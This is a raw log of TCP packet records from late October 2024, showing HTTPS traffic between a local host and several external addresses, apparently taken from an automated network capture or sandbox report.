Oct 29, 2024 02:46:16.597280025 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.597367048 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.597537041 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.597549915 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.645586967 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.645857096 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.645869970 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.648108959 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.648109913 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.648205042 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.649408102 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.649465084 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.649827957 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.649966002 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.650005102 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.694962025 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.694972038 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.741839886 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.900938034 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:16.900995016 CET	443	49708	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:16.901066065 CET	49708	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.066734076 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066772938 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066828966 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066860914 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066880941 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.066899061 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066903114 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066934109 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.066946030 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066971064 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.066998959 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067013979 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.067023993 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067053080 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067107916 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.067111969 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.067137003 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067276001 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067342043 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.067562103 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.067610979 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.067761898 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.068092108 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.069272041 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.072158098 CET	49706	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.072187901 CET	443	49706	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.072953939 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073008060 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073044062 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073064089 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073105097 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.073118925 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073170900 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.073323011 CET	49711	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.073338032 CET	443	49711	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073502064 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073544979 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073548079 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.073555946 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.073613882 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.073621988 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.108700991 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.108753920 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.108830929 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.108840942 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.110109091 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.111031055 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.115299940 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.115372896 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.115381002 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.123960018 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.124043941 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.124052048 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.162218094 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.162278891 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.162287951 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.209677935 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.209688902 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.226017952 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.226089954 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.226099968 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.228358030 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.228461027 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.228476048 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.232575893 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.232641935 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.232650042 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.241645098 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.241749048 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.241758108 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.279448986 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.279520035 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.279541016 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.279583931 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.279601097 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.279617071 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.334629059 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.343441010 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.345818043 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.345850945 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.345915079 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.345928907 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.346065998 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.349689960 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.359088898 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.359133959 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.359205961 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.359226942 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.362121105 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.396739006 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.444227934 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.444238901 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.490901947 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.643438101 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.643845081 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.643881083 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.643913984 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.643920898 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.643942118 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.643975019 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.644576073 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.644618034 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.644624949 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.644632101 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.644722939 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.644768000 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.644777060 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.644876957 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.645046949 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645126104 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645155907 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645178080 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.645185947 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645245075 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.645251036 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645428896 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645544052 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.645550013 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.645983934 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.646028042 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.646064997 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.646080971 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.646086931 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.646119118 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.646163940 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.646163940 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.646173954 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.653810978 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.653945923 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.653954029 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.675954103 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.680035114 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.680042982 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.695342064 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.697514057 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.697521925 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702171087 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702251911 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702292919 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702326059 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.702334881 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702347040 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.702374935 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.704066038 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.711002111 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.711056948 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.711141109 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.711148977 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.749099016 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.751210928 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.751219988 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.793392897 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.793499947 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.793510914 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.812764883 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.815049887 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.815058947 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819443941 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819691896 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819715977 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.819720984 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819746971 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819791079 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.819798946 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.819881916 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.820105076 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.820378065 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:17.821355104 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.822664976 CET	49707	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:17.822678089 CET	443	49707	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:18.401446104 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:18.401500940 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:18.401709080 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:18.403234005 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:18.403265953 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:19.268834114 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:19.268908978 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:19.273132086 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:19.273148060 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:19.273504972 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:19.318790913 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:19.866982937 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:19.867036104 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:19.867122889 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:19.867367029 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:19.867396116 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:20.261780977 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.273755074 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:20.273787022 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:20.273876905 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:20.274983883 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:20.275010109 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:20.303349972 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.353151083 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:20.353192091 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:20.353276968 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:20.353506088 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:20.353533030 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:20.549000978 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549034119 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549041033 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549061060 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549084902 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549110889 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.549150944 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549182892 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.549204111 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.549536943 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549598932 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:20.549601078 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.549690008 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:20.736144066 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:20.736454964 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:20.736476898 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:20.737616062 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:20.738173008 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:20.738339901 CET	443	49721	142.250.186.132	192.168.2.5
Oct 29, 2024 02:46:20.787671089 CET	49721	443	192.168.2.5	142.250.186.132
Oct 29, 2024 02:46:20.826360941 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:20.826386929 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:20.826463938 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:20.826778889 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:20.826795101 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.128366947 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.128441095 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.131382942 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.131397009 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.131643057 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.167114973 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.202162981 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.202428102 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.202496052 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.204015017 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.204119921 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.205251932 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.205346107 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.205423117 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.207339048 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.247359991 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.256767988 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.256791115 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.303915024 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.331950903 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:21.331985950 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:21.332062006 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:21.332329035 CET	49730	443	192.168.2.5	142.250.185.142
Oct 29, 2024 02:46:21.332345009 CET	443	49730	142.250.185.142	192.168.2.5
Oct 29, 2024 02:46:21.411254883 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.411505938 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.411840916 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.412205935 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.412229061 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.412257910 CET	49723	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.412275076 CET	443	49723	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.436614990 CET	49718	443	192.168.2.5	20.12.23.50
Oct 29, 2024 02:46:21.436649084 CET	443	49718	20.12.23.50	192.168.2.5
Oct 29, 2024 02:46:21.448090076 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.448153019 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.448199034 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.448252916 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.448275089 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.448332071 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.448343992 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.448930025 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.449048996 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.449063063 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.456491947 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.456764936 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.456796885 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.465435982 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.465478897 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.465603113 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.466413975 CET	49734	443	192.168.2.5	184.28.90.27
Oct 29, 2024 02:46:21.466443062 CET	443	49734	184.28.90.27	192.168.2.5
Oct 29, 2024 02:46:21.507018089 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.507034063 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.553914070 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.564064026 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.564136982 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.564189911 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.564207077 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.567861080 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.568023920 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.568038940 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.572223902 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.572272062 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.572284937 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.581002951 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.581058025 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.581070900 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.614511967 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.614586115 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.618344069 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.618371964 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.618705988 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.627969027 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:21.632015944 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.632030010 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.671339035 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:21.678888083 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.681360960 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.685075045 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.685117006 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.685142994 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.685158968 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.685206890 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.689054012 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.689694881 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.689806938 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.689819098 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.697288036 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.697354078 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.697366953 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.741403103 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.747580051 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.787573099 CET	49726	443	192.168.2.5	142.250.181.238
Oct 29, 2024 02:46:21.787594080 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799209118 CET	443	49726	142.250.181.238	192.168.2.5
Oct 29, 2024 02:46:21.799277067 CET	49726	443	192.168.2.5	142.250.181.238
